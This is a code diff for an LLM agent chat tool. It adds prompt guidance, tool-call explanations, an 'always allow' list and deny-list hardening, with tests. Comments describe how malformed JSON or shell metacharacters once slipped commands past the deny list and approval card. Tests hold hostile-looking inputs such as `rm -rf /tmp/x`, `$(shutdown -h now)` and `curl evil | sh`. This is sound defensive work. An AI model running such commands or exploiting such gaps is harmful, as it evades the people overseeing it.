"objective at the start makes the drift visible -- to the reader, and " + "to the model itself, which is then answerable to something it wrote " + "down. Not in an ordinary chat, where it would be preamble in front of " + "a two-line answer.", + default=( + "Settle what you are setting out to achieve before you start, and say it " + "in a line or two: the objective, and what would have to be true for it to " + "be done. Then hold to it. If what you find means the objective was wrong, " + "or cannot be met as stated, say so plainly and say what it is now — do " + "not slide quietly into a different piece of work. Before you finish, check " + "what you actually did against it and say whether it is met, partly met or " + "not, and what is left." + ), + ), + Fragment( + key="core.narrate", + label="Working out loud", + group=GROUP_CORE, + order=113, + families=("agent",), + hint="An agent chat only, and deliberately the opposite of the rule " + "above about not announcing tool calls -- which is right for a short " + "answer and wrong here. A short answer is read once it is finished; a " + "long piece of work is *watched while it runs*, and a reader who " + "cannot see what is being done cannot stop the wrong thing being done. " + "Text written before a tool call survives into the finished reply, so " + "this costs nothing beyond the tokens.", + default=( + "Work out loud. Before a round of tool calls, say in a line what you are " + "about to do and what you expect; when the results come back, say what you " + "actually found and what it changes — and then carry on in the same reply " + "rather than stopping to report. Announcing what you are about to do is " + "right here, even though it would be noise in a short answer.\n" + "Keep it to a line or two at a time, and make it findings rather than " + "narration: what you expected, what was actually there, what you are doing " + "about it. Anything you worked out and did not write down is lost when the " + "reply ends." + ), + ), Fragment( key="core.interjection", label="Being interrupted", @@ -957,6 +1005,13 @@ BUILTIN: tuple[Fragment, ...] = ( "`apt-get update` first or it reports the package as missing.\n" "- Look before you write. Read a file before replacing it, and list a " "directory before guessing at a path.\n" + "- Say what each one is for. `shell_run`, `file_write`, `file_edit` and " + "`job_stop` take a `why`: one line, in plain language. It is what the " + "person sees beside the action — on the card when they are asked to " + "approve it, and in the transcript when they are not.\n" + "- Check your work. Read a file back after changing it, look at what a " + "command actually exited with rather than assuming it worked, and run the " + "project's own tests or build if it has any.\n" "- {{agent_mode}}\n" "- If something is refused, say what you were going to do and ask. Do " "not look for another way round it." diff --git a/src/lembas/services/tools.py b/src/lembas/services/tools.py index 9b77c87..51a8baf 100644 --- a/src/lembas/services/tools.py +++ b/src/lembas/services/tools.py @@ -1145,6 +1145,33 @@ def scoped_skills_off(chat: Chat | None) -> frozenset[str]: return frozenset(str(name) for name, on in wanted.items() if on is False) +def scoped_allow(chat: Chat | None) -> tuple[str, ...]: + """Actions this chat has been told to stop asking about. + + The one key under `scope_json` that *widens* rather than narrows, and it is + worth being explicit about why that does not break the rule beside it. That + rule governs which tools a chat may reach, where a crafted POST turning + something on would reach past gates the model's capabilities and the + reader's permissions had already closed. This is a different axis: every + tool here was offered already, and what is recorded is only whether the + reader is asked again before it runs. + + What makes it safe is that **no pattern ever comes from a request**. Each + entry is derived server-side in `api/chats.py:answer_interaction` from an + item a person has just approved on a card, through `policy.subject` -- the + same normaliser the matcher uses, so what is stored is exactly what will be + compared, and it refuses to produce anything at all for a command line + carrying a shell metacharacter. "Always" can therefore only ever mean "this + exact thing again". + """ + if chat is None: + return () + wanted = (getattr(chat, "scope_json", None) or {}).get("allow") or [] + if not isinstance(wanted, list): + return () + return tuple(str(entry) for entry in wanted if str(entry).strip()) + + def enabled_tools(db: DBSession, chat: Chat, user: User | None) -> list[dict[str, Any]]: """The tool schemas to offer for this chat. @@ -1175,7 +1202,45 @@ def context_for( ) -async def run_tool(context: ToolContext, name: str, arguments: str) -> ToolOutcome: +def parse_arguments(tool: ToolDef | None, raw: str) -> dict[str, Any]: + """One tool call's arguments, as a dict, however badly they were spelled. + + **The only place a call's arguments are interpreted.** It used to live + inside `run_tool`, while the approval card had its own plain `json.loads` + that returned `{}` on failure -- so a model emitting malformed JSON got a + card headed "Run a command" with an empty body, while the fallback below + handed the raw string to `shell_run` as its command and ran it. The card + showed one thing and the machine did another, and `policy.decide` was + handed an empty command line it could match against neither list. + + So the loop parses once and the same dict reaches the card, the policy and + the runner. Callers that only have a name resolve the `ToolDef` first; a + `None` tool still parses valid JSON, which is what an unknown name needs. + """ + try: + parsed = json.loads(raw) if raw.strip() else {} + except json.JSONDecodeError: + # Small models emit malformed argument JSON often enough that this is a + # normal path, not an exceptional one. Treat the whole string as the + # tool's first argument rather than giving up: what it says is required, + # else the first thing it declares, and only then a guess -- a schema + # somebody else wrote need not have either. + parameters = tool.parameters if tool is not None else {} + properties = parameters.get("properties") or {} + names = parameters.get("required") or list(properties) or ["query"] + parsed = {str(names[0]): raw.strip()} + if not isinstance(parsed, dict): + return {"query": str(parsed)} + return parsed + + +async def run_tool( + context: ToolContext, + name: str, + arguments: str, + *, + parsed: dict[str, Any] | None = None, +) -> ToolOutcome: """Execute one tool call. Never raises. A tool that fails hands the model an explanation and lets it @@ -1187,6 +1252,11 @@ async def run_tool(context: ToolContext, name: str, arguments: str) -> ToolOutco chat was gated out of -- a family switched off for the model, a permission the reader does not have -- had it run anyway, because only the offer was ever filtered. + + `parsed` is the arguments the caller has already interpreted. The generation + loop passes it so that what a person approved is what runs; a caller with + only the raw string gets the same result, because both go through + `parse_arguments`. """ book = REGISTRY if context.tools is None else context.tools tool = book.get(name) @@ -1196,19 +1266,8 @@ async def run_tool(context: ToolContext, name: str, arguments: str) -> ToolOutco {"name": name, "status": "error", "error": "Unknown tool."}, ) - try: - parsed = json.loads(arguments) if arguments.strip() else {} - except json.JSONDecodeError: - # Small models emit malformed argument JSON often enough that this is a - # normal path, not an exceptional one. Treat the whole string as the - # tool's first argument rather than giving up: what it says is required, - # else the first thing it declares, and only then a guess -- a schema - # somebody else wrote need not have either. - properties = tool.parameters.get("properties") or {} - names = tool.parameters.get("required") or list(properties) or ["query"] - parsed = {str(names[0]): arguments.strip()} - if not isinstance(parsed, dict): - parsed = {"query": str(parsed)} + if parsed is None: + parsed = parse_arguments(tool, arguments) try: return await tool.run(context, parsed) @@ -1354,9 +1413,11 @@ __all__ = [ "context_for", "enabled_tools", "families", + "parse_arguments", "registry", "resolve_tools", "run_tool", + "scoped_allow", "tool_turn", ] diff --git a/src/lembas/web/static/css/chat.css b/src/lembas/web/static/css/chat.css index cd42aa1..ca6837d 100644 --- a/src/lembas/web/static/css/chat.css +++ b/src/lembas/web/static/css/chat.css @@ -351,8 +351,16 @@ .tool-activity__summary::-webkit-details-marker { display: none; } .tool-activity__summary:hover { color: var(--ink); background: var(--surface-hover); } .tool-activity__icon { color: var(--leaf); flex: none; } -.tool-activity__label { flex: 1; } +.tool-activity__label { flex: 1; min-width: 0; } .tool-activity__count { color: var(--ink-faint); } +/* The model's own account of what a call is for, under the command it belongs + to. `display: block` inside the flex row's label, so the icon and the chevron + stay centred against both lines. */ +.tool-activity__why { + display: block; + color: var(--ink-faint); + font-size: var(--text-xs); +} .tool-activity[open] .reasoning__chevron { transform: rotate(180deg); } .tool-activity__body { @@ -514,6 +522,9 @@ overflow-wrap: anywhere; } .interaction__reason { margin: 0; color: var(--ink-muted); font-size: var(--text-xs); } +/* The model's account of what it is about to do. Above the command and quieter + than the title, so the command stays the thing being agreed to. */ +.interaction__purpose { margin: 0; color: var(--ink-muted); font-size: var(--text-sm); } .interaction__actions { display: flex; flex-wrap: wrap; @@ -976,6 +987,18 @@ color: var(--ink-faint); } +/* One thing this chat has been told to stop asking about. Monospace because an + entry is usually a command line, and it is worth being able to read back + exactly what was agreed to. */ +.picker__allow-entry { + margin: 0; + padding: 0 var(--sp-3) var(--sp-1); + font-family: var(--font-mono); + font-size: var(--text-xs); + color: var(--ink-muted); + overflow-wrap: anywhere; +} + /* The help and usage sheets. */ .sheet { width: 100%; border-collapse: collapse; font-size: var(--text-sm); } .sheet td { padding: var(--sp-1) var(--sp-2); vertical-align: top; } diff --git a/src/lembas/web/templates/chat/_composer.html b/src/lembas/web/templates/chat/_composer.html index 0a87333..f6dafec 100644 --- a/src/lembas/web/templates/chat/_composer.html +++ b/src/lembas/web/templates/chat/_composer.html @@ -163,7 +163,7 @@ Only on an existing chat -- there is no row to write to before one exists, and a switch that went nowhere is worse than no switch. #} - {% set has_scope = chat and (scope_families or scope_skills) %} + {% set has_scope = chat and (scope_families or scope_skills or scope_allow) %} {% if has_scope or can.get("files.upload") %}
+
+ {% endif %} + {# The affordance the `@` button used to be, kept as one row so nothing is lost by replacing the button -- and it is what this menu holds on a chat that does not exist yet, where there is no diff --git a/src/lembas/web/templates/chat/_interaction.html b/src/lembas/web/templates/chat/_interaction.html index 67b64f0..4c19386 100644 --- a/src/lembas/web/templates/chat/_interaction.html +++ b/src/lembas/web/templates/chat/_interaction.html @@ -70,6 +70,13 @@ {% for item in ask.items %}

{{ item.title }}

+ {% if item.purpose %} + {# The model's own account of what this is for, above the thing itself. + Deliberately separate from `reason` below, which is *our* reason for + stopping — attributed, so nobody reads an explanation the model wrote + as the application vouching for the command. #} +

It says: {{ item.purpose }}

+ {% endif %} {% if item.detail %} 
{{ item.detail }}
{% endif %} diff --git a/src/lembas/web/templates/chat/_tool_activity.html b/src/lembas/web/templates/chat/_tool_activity.html index 378420a..47c7322 100644 --- a/src/lembas/web/templates/chat/_tool_activity.html +++ b/src/lembas/web/templates/chat/_tool_activity.html @@ -61,6 +61,17 @@ · {{ event.results | length }} result{{ '' if event.results | length == 1 else 's' }} {% endif %} + + {% if event.why %} + {# What the model said this call was for. In the summary rather than the + body because the body is collapsed: in Auto mode nothing stops for + approval, so without this a reader watches a list of commands with no + account of what any of them is for until the reply ends. + + Model text, escaped like everything else here, and styled as a quieter + second line so it reads as the model's account rather than ours. #} + {{ event.why }} + {% endif %} {{ icon("chevron-down", "icon--sm reasoning__chevron") }} diff --git a/tests/test_agent_interaction.py b/tests/test_agent_interaction.py index b560877..502b567 100644 --- a/tests/test_agent_interaction.py +++ b/tests/test_agent_interaction.py @@ -384,6 +384,53 @@ def test_the_card_shows_the_question_and_its_options(): assert "The model is asking you" in html, "attributed to the model, not to LLeMbas" +def test_an_approval_card_shows_what_the_model_said_it_was_doing(): + """Attributed, and kept apart from our own reason for stopping. An + explanation a reader takes for the application's would be LLeMbas vouching + for a command a model wrote.""" + pause = interaction.Interruption( + id="p1", + items=( + interaction.Item( + index=0, + key="a0", + kind=interaction.KIND_APPROVAL, + tool_name="shell_run", + title="Run a command on Box", + detail="pytest -q", + reason="Edit mode asks before anything that runs a command.", + purpose="Checking the change did not break anything.", + ), + ), + ) + html = _render(pause) + assert "It says: Checking the change did not break anything." in html + assert "pytest -q" in html + assert "Edit mode asks" in html + + +def test_an_explanation_on_a_card_is_escaped(): + """It is model text, and the model may have been reading somebody else's + file a moment ago.""" + pause = interaction.Interruption( + id="p1", + items=( + interaction.Item( + index=0, + key="a0", + kind=interaction.KIND_APPROVAL, + tool_name="shell_run", + title="Run a command on Box", + detail="ls", + purpose="", + ), + ), + ) + html = _render(pause) + assert "` is shell + syntax. The error landed after the sentinel, where nothing reads it, so the + command still worked and the cleanup silently never ran. + """ + import subprocess + + wrappers = [ + jobs.launch_command("chatx", "abc123abc123", "echo hi"), + jobs.launch_and_wait_command("chatx", "abc123abc123", "echo hi", 4096), + jobs.read_command("chatx", "abc123abc123", 4096), + jobs.stop_command("chatx", "abc123abc123"), + jobs.cleanup_command("chatx", "abc123abc123"), + ] + for wrapper in wrappers: + done = subprocess.run( + ["sh", "-n"], input=wrapper, capture_output=True, text=True, check=False + ) + assert done.returncode == 0, f"not valid shell:\n{wrapper}\n{done.stderr}" + + +def test_launch_and_wait_removes_every_file_it_made(): + """Its last line is the only cleanup on the fast path -- nothing calls + `_cleanup` when a command finishes in time.""" + wrapper = jobs.launch_and_wait_command("chatx", "abc123abc123", "echo hi", 4096) + removal = next(line for line in wrapper.splitlines() if line.startswith("rm -f")) + + for extension in ("sh", "pid", "log", "exit"): + assert jobs._file("chatx", "abc123abc123", extension) in removal, extension + assert " /dev/null", + "echo x\nreboot", + "$(shutdown -h now)", + ], +) +def test_a_composed_command_cannot_slip_past_a_deny_list(command): + """One character used to be the whole of the difference. + + `subject` returns None for anything carrying a metacharacter, so no pattern + could match it -- and the original reasoning said that was safe for a deny + list because it "returns you to the mode". True in Manual, Edit and Plan. + In Auto the mode is ALLOW, so `shutdown -h now` asked and + `shutdown -h now &` ran. + """ + decision = decide( + mode=policy.MODE_AUTO, + risk=RISK_EXECUTE, + tool_name="shell_run", + command=command, + deny=("shutdown *", "reboot *"), + ) + assert decision.verdict == ASK, command + + +def test_a_composed_command_is_still_fine_when_nothing_is_denied(): + """The rule above is scoped to there being a deny list at all. + + Otherwise Auto would ask about `cd build && make`, which is most real + commands, and the mode whose whole purpose is not asking would ask. + """ + decision = decide( + mode=policy.MODE_AUTO, + risk=RISK_EXECUTE, + tool_name="shell_run", + command="cd build && make", + ) + assert decision.verdict == ALLOW + + def test_subject_refuses_to_produce_a_matchable_line_for_composed_commands(): assert policy.subject("shell_run", "ls -la") == "ls -la" assert policy.subject("shell_run", "ls; rm") is None diff --git a/tests/test_agent_tools.py b/tests/test_agent_tools.py index e6dc964..2eab6dc 100644 --- a/tests/test_agent_tools.py +++ b/tests/test_agent_tools.py @@ -12,6 +12,7 @@ import json as _json import time import pytest +from sqlalchemy import select from lembas.db.models import ( KIND_AGENT, @@ -28,6 +29,7 @@ from lembas.services import interaction, settings_store from lembas.services import tools as tools_service from lembas.services.agent import policy, session from lembas.services.agent import ssh as ssh_service +from lembas.services.tools import RISK_EXECUTE asyncssh = pytest.importorskip("asyncssh") @@ -539,6 +541,143 @@ async def test_a_command_waits_for_approval_and_the_card_shows_it( await task +async def test_malformed_arguments_still_show_the_command_that_will_run( + db, user_id, machine, monkeypatch +): + """The card and the runner read the same parsed arguments. + + They used to disagree: the card did a plain `json.loads` and showed `{}` on + failure, while `run_tool` put the raw string into the tool's first required + parameter -- `command` -- and ran it. So a model emitting invalid JSON got a + card headed "Run a command" with an empty body, and Allow ran something the + reader was never shown. + """ + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL) + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream([[_chunk("shell_run", "rm -rf /tmp/x")], [_text("Done.")]], []), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + task = asyncio.create_task(generation_service._run(generation)) + pending = await _until_paused(generation) + + assert pending.items[0].detail == "rm -rf /tmp/x" + + pending.resolve(interaction.DENY) + await task + + +async def test_the_card_carries_what_the_model_said_it_was_doing( + db, user_id, machine, monkeypatch +): + """`why` is the model's account; `reason` is ours. Both, and kept apart.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_MANUAL) + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream( + [ + [ + _chunk( + "shell_run", + '{"command": "pytest -q", "why": "Checking the change did not ' + 'break anything."}', + ) + ], + [_text("Done.")], + ], + [], + ), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + task = asyncio.create_task(generation_service._run(generation)) + pending = await _until_paused(generation) + + item = pending.items[0] + assert item.purpose == "Checking the change did not break anything." + assert item.detail == "pytest -q", "the command is still the thing being agreed to" + assert "Manual" in item.reason, "our reason for stopping is separate from theirs" + + pending.resolve(interaction.DENY) + await task + + +async def test_the_transcript_keeps_the_explanation(db, user_id, machine, monkeypatch): + """Auto mode stops for nothing, so the event is the only place a reader ever + sees what a command was for.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO) + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream( + [ + [_chunk("shell_run", '{"command": "ls", "why": "Seeing what is here."}')], + [_text("Done.")], + ], + [], + ), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + await generation_service._run(generation) + + assert generation.tool_events[0]["why"] == "Seeing what is here." + + +async def test_a_call_without_an_explanation_carries_no_empty_one( + db, user_id, machine, monkeypatch +): + """Absent stays absent. An empty string on every event would render a blank + second line under every command in the transcript.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO) + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream([[_chunk("shell_run", '{"command": "ls"}')], [_text("Done.")]], []), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + await generation_service._run(generation) + + assert "why" not in generation.tool_events[0] + + +async def test_malformed_arguments_are_still_checked_against_the_deny_list( + db, user_id, machine, monkeypatch +): + """The consequence of the above, in the mode where it matters. + + In Auto nothing is shown first, so a command the card could not describe was + also a command `policy.decide` was handed as "" -- matching neither list and + falling through to the mode, which is ALLOW. Invalid JSON was a way past the + deny list. + """ + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO) + settings_store.update(db, {"deny_default": ["rm *"]}, key=settings_store.AGENTS) + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream([[_chunk("shell_run", "rm -rf /tmp/x")], [_text("Done.")]], []), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + task = asyncio.create_task(generation_service._run(generation)) + pending = await _until_paused(generation) + + assert "rm *" in pending.items[0].reason + + pending.resolve(interaction.DENY) + await task + + async def test_denying_reaches_the_model_as_words_and_runs_nothing( db, user_id, machine, monkeypatch, tmp_path ): @@ -618,6 +757,135 @@ async def test_auto_mode_never_pauses(db, user_id, machine, monkeypatch, tmp_pat assert (tmp_path / "project" / "auto.txt").read_text() == "no asking" +# --- "Always allow this" --------------------------------------------------------- +# Answered over the TestClient against a pause registered by hand, rather than by +# running a generation: a future belongs to the loop that made it and TestClient +# runs the app on its own, which is the same reason +# `test_another_account_cannot_answer_your_question` builds its pause this way. +# The route reads the items *before* resolving, which is the half being tested. +def _approval_pause(chat, message_id, *, tool_name="shell_run", detail="git status"): + pause = interaction.Interruption( + id="pause-always", + items=( + interaction.Item( + index=0, + key="a0", + kind=interaction.KIND_APPROVAL, + tool_name=tool_name, + title=f"Run a command on {chat.title or 'Box'}", + detail=detail, + ), + ), + ) + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + generation.pending = pause + generation_service._RUNNING[message_id] = generation + return pause + + +def test_always_allow_records_the_command_and_stops_asking( + client, db, registered, user_id, machine +): + """It used to be byte-for-byte "Allow": the verdict was accepted, treated as + permitted, and stored nowhere, so the very next identical command asked + again. A button that promises a standing decision and keeps none is the + silent control this codebase keeps cataloguing.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT) + message_id = _pending_reply(db, chat) + pause = _approval_pause(chat, message_id) + try: + client.post( + f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow_always"} + ) + finally: + generation_service._RUNNING.pop(message_id, None) + + db.refresh(chat) + assert tools_service.scoped_allow(chat) == ("git status",) + + # And it is in force from the next reply: the context is resolved per reply, + # so the list reaches `policy.decide` through `AgentContext.allow`. + context = session.resolve(db, chat, db.get(User, user_id)) + assert "git status" in context.allow + assert ( + policy.decide( + mode=policy.MODE_EDIT, + risk=RISK_EXECUTE, + tool_name="shell_run", + command="git status", + allow=context.allow, + deny=context.deny, + ).verdict + == policy.ALLOW + ) + + + +def test_always_allow_never_stores_a_composed_command( + client, db, registered, user_id, machine +): + """`policy.subject` refuses to normalise a command line carrying a shell + metacharacter, and that is exactly the shape that must not become a standing + permission -- an entry matching `git status; curl evil | sh` would be the + whole ballgame. The action is still allowed this once; it is not remembered. + """ + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT) + message_id = _pending_reply(db, chat) + pause = _approval_pause(chat, message_id, detail="cd build && make") + try: + client.post( + f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow_always"} + ) + finally: + generation_service._RUNNING.pop(message_id, None) + + db.refresh(chat) + assert tools_service.scoped_allow(chat) == () + + +def test_a_plain_allow_remembers_nothing(client, db, registered, user_id, machine): + """Only "always" is a standing decision. Allow is once.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT) + message_id = _pending_reply(db, chat) + pause = _approval_pause(chat, message_id) + try: + client.post( + f"/api/chats/{chat.id}/interaction/{pause.id}", data={"verdict": "allow"} + ) + finally: + generation_service._RUNNING.pop(message_id, None) + + db.refresh(chat) + assert tools_service.scoped_allow(chat) == () + + +def test_the_allow_list_cannot_be_written_through_the_scope_route( + client, db, registered, user_id, machine +): + """The scope route narrows. Nothing accepts a pattern from a request, which + is the whole of why a per-chat allow list is safe.""" + chat, _profile = _setup(db, user_id, machine) + client.post( + f"/api/chats/{chat.id}/scope", data={"kind": "allow", "name": "rm *", "on": "false"} + ) + + db.refresh(chat) + assert tools_service.scoped_allow(chat) == () + + +def test_clearing_the_allow_list_empties_it(client, db, registered, user_id, machine): + chat, _profile = _setup(db, user_id, machine) + chat.scope_json = {"allow": ["git status", "file_read"]} + db.commit() + + response = client.post(f"/api/chats/{chat.id}/allow/clear") + + assert response.status_code == 200 + assert response.text == "", "the row has to disappear; htmx does not swap on a 204" + db.refresh(chat) + assert tools_service.scoped_allow(chat) == () + + async def test_the_credential_is_cleared_when_the_reply_ends(db, user_id, machine, monkeypatch): """A finished Generation lingers five minutes so late followers get the final frames. A private key should not linger with it.""" @@ -685,6 +953,39 @@ async def test_an_ordinary_chat_is_told_none_of_it(db, user_id, machine): assert "fresh shell" not in text +async def test_an_agent_chat_is_told_to_work_to_an_objective_and_out_loud( + db, user_id, machine +): + """The two halves of not drifting: name what you are doing, and say what you + are finding while you do it rather than only at the end.""" + from lembas.services import harness + + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_EDIT) + user = db.get(User, user_id) + offered = tools_service.resolve_tools(db, chat, user).schemas + text = harness.compose(db, user, offered, chat) + + assert "Settle what you are setting out to achieve" in text + assert "Work out loud" in text + # And the tool argument that carries the same account per call. + assert "`why`" in text + + +async def test_an_ordinary_chat_is_not_asked_to_narrate(db, user_id, machine): + """Both are agent-only. In front of a two-line answer, stating an objective + and announcing each tool call is preamble -- and `core.tools_preamble` says + the opposite for exactly that reason.""" + from lembas.services import harness + + chat, _profile = _setup(db, user_id, machine, kind="chat") + user = db.get(User, user_id) + offered = tools_service.resolve_tools(db, chat, user).schemas + text = harness.compose(db, user, offered, chat) + + assert "Work out loud" not in text + assert "Settle what you are setting out to achieve" not in text + + async def test_an_agent_chat_is_told_its_real_round_budget(db, user_id, machine): """MAX_ROUNDS is one. An agent chat gets hundreds, and telling it one would be a false fact about its own budget on every turn.""" @@ -824,6 +1125,96 @@ async def test_a_zero_ceiling_means_no_ceiling(db, user_id, machine, monkeypatch # --- Interjecting while it works -------------------------------------------------- +async def test_a_reply_stops_when_the_window_has_no_room_left( + db, user_id, machine, monkeypatch +): + """The request grows by an assistant turn and a tool turn every round, and + nothing was watching it: `_maybe_compact` runs once, before the first round. + The other guard, `max_total_output_bytes`, is a megabyte by default -- about + 260k tokens, larger than the window of nearly every model this talks to -- so + a long agent reply grew its own request until the endpoint refused it, and + the reader got an upstream error rather than an explanation.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO) + model = db.scalars(select(Model).where(Model.model_id == chat.model_id)).first() + model.context_length = 2000 + db.commit() + + message_id = _pending_reply(db, chat) + # A command whose output is large enough that two rounds fill the window. + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream( + [[_chunk("shell_run", '{"command": "printf \'%s\' ' + "'" + "x" * 3000 + "'\"}")]], + [], + ), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + await asyncio.wait_for(generation_service._run(generation), timeout=20) + + budget_events = [e for e in generation.tool_events if e.get("name") == "budget"] + assert budget_events, "it should stop with an explanation, not run to the step cap" + assert "context window" in budget_events[0]["error"] + + +async def test_the_estimate_follows_the_request_round_by_round( + db, user_id, machine, monkeypatch +): + """It was taken once, before the first round, so on any endpoint that sends + no usage block the reported prompt was the first round's forever.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO) + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream( + [ + [_chunk("shell_run", '{"command": "echo one"}', call_id="c1")], + [_chunk("shell_run", '{"command": "echo two"}', call_id="c2")], + [_text("Done.")], + ], + [], + ), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + await asyncio.wait_for(generation_service._run(generation), timeout=20) + + assert generation.rounds == 3 + # Summed across rounds, so it exceeds any single round's prompt. + assert generation.prompt_estimate_total > generation.prompt_estimate + # And what the reply occupies is the last round's prompt, not the total. + assert generation.context_tokens < generation.prompt_estimate_total + + +async def test_an_unknown_window_never_stops_a_reply(db, user_id, machine, monkeypatch): + """`context_length` of 0 is unknown, not small -- the rule the context + percentage and automatic compaction already follow.""" + chat, _profile = _setup(db, user_id, machine, mode=policy.MODE_AUTO) + model = db.scalars(select(Model).where(Model.model_id == chat.model_id)).first() + model.context_length = 0 + db.commit() + + message_id = _pending_reply(db, chat) + monkeypatch.setattr( + generation_service, + "stream_chat", + _stub_stream( + [ + [_chunk("shell_run", '{"command": "printf \'%s\' ' + "'" + "x" * 3000 + "'\"}")], + [_text("Done.")], + ], + [], + ), + ) + + generation = generation_service.Generation(chat_id=chat.id, message_id=message_id) + await asyncio.wait_for(generation_service._run(generation), timeout=20) + + assert not [e for e in generation.tool_events if e.get("name") == "budget"] + + async def test_a_queued_prompt_is_taken_in_between_rounds(db, user_id, machine, monkeypatch): """The point of queueing in an agent chat: steering work already under way. diff --git a/tests/test_harness.py b/tests/test_harness.py index 6a4ccc1..ce49e67 100644 --- a/tests/test_harness.py +++ b/tests/test_harness.py @@ -432,3 +432,48 @@ def test_the_background_guidance_appears_only_when_enabled(db, owner): settings_store.update(db, {"background_enabled": True}, key=settings_store.AGENTS) assert "run in the background" in _text() + + +# --- The ceiling has to fit what the defaults already grant -------------------- +def test_the_shipped_defaults_fit_under_the_ceiling(db, owner): + """An agent chat's whole preamble, at the budgets this ships with. + + It did not fit. The fragments alone are about 7,900 characters, and on top + of them `index_chars` grants a 2,000 character project listing and + `instructions_chars` a 4,000 character AGENTS.md -- both on by default. The + ceiling was 8,000, and `assemble` cuts the tail, which by fragment order is + the context worth having: the listing was severed mid-tree and + `context.agent_instructions` was dropped whole. So on a default install the + one path by which a project's own instructions reach a model did not. + """ + values = settings_store.agents(db) + # Every name the harness knows about, so a variable added later is covered + # here without anybody remembering to add it. + variables = dict.fromkeys(harness.context_variables(db, owner, [], None), "") + variables.update( + { + "today": "Monday 3 August 2026", + "instance_name": "LLeMbas", + "user_name": "Frodo", + "agent_target": "homeserver", + "agent_dir": "/srv/project", + "agent_mode": "You are in **Edit** mode.", + "tool_names": "shell_run, file_read, file_write, file_edit, file_list", + "background": "on", + "max_rounds": "200", + # Each at exactly the budget its own setting allows. + "project_files": "L" * int(values["index_chars"]), + "agent_instructions": "A" * int(values["instructions_chars"]), + "agent_instructions_file": "AGENTS.md", + "plan": "P" * 600, + "memories": "M" * 400, + } + ) + + out = harness.compose_from( + db, variables=variables, families=["agent"], has_tools=True, overrides={} + ) + + assert not out.endswith("…"), f"the preamble was truncated at {len(out):,} characters" + assert "A" * 100 in out, "the project's own instructions were cut off entirely" + assert "L" * 100 in out, "the project listing was cut off" diff --git a/tests/test_prompts.py b/tests/test_prompts.py index 2c78870..e60b9b1 100644 --- a/tests/test_prompts.py +++ b/tests/test_prompts.py @@ -13,15 +13,22 @@ def extra_source(): The registry is module state, so a test that adds to it and does not clean up leaks into every test after it. + + Restored to **what was there**, not to `[_builtin_source]`. Resetting to the + builtin alone also threw away `services/tools.py:_row_source`, registered at + import -- so after the first test using this fixture, no custom tool or MCP + server contributed a fragment for the rest of the process, and + `test_a_custom_tools_guidance_appears_only_when_it_is_offered` passed or + failed on file ordering alone. A teardown that quietly removes production + wiring is worse than no teardown, because the suite still goes green. """ - added: list = [] + before = list(prompts._SOURCES) def install(*fragments: prompts.Fragment): - added.extend(fragments) prompts.register_source(lambda db: fragments) yield install - prompts._SOURCES[:] = [prompts._builtin_source] + prompts._SOURCES[:] = before # --- Substitution ------------------------------------------------------------ diff --git a/tests/test_tool_activity.py b/tests/test_tool_activity.py index 8e3a301..6df9f49 100644 --- a/tests/test_tool_activity.py +++ b/tests/test_tool_activity.py @@ -249,3 +249,44 @@ def test_a_diff_line_is_escaped(): def test_an_event_with_no_diff_renders_none(): html = _render({"name": "file_read", "results": [], "text": "hello"}) assert "diff__line" not in html + + +# --- What a call was for --------------------------------------------------------- +def test_an_explanation_rides_in_the_summary_not_the_body(): + """The body is collapsed. In Auto mode nothing stops for approval, so a + reader who has to expand each call to find out what it was for is a reader + watching a list of commands with no account of any of them.""" + html = _render( + { + "name": "shell_run", + "kind": "agent", + "query": "pytest -q", + "why": "Checking the change did not break anything.", + "status": "ok", + "results": [], + } + ) + summary = html.split("", 1)[0] + assert "Checking the change did not break anything." in summary + + +def test_an_explanation_is_escaped_like_everything_else(): + html = _render( + { + "name": "shell_run", + "kind": "agent", + "query": "ls", + "why": "", + "status": "ok", + "results": [], + } + ) + assert "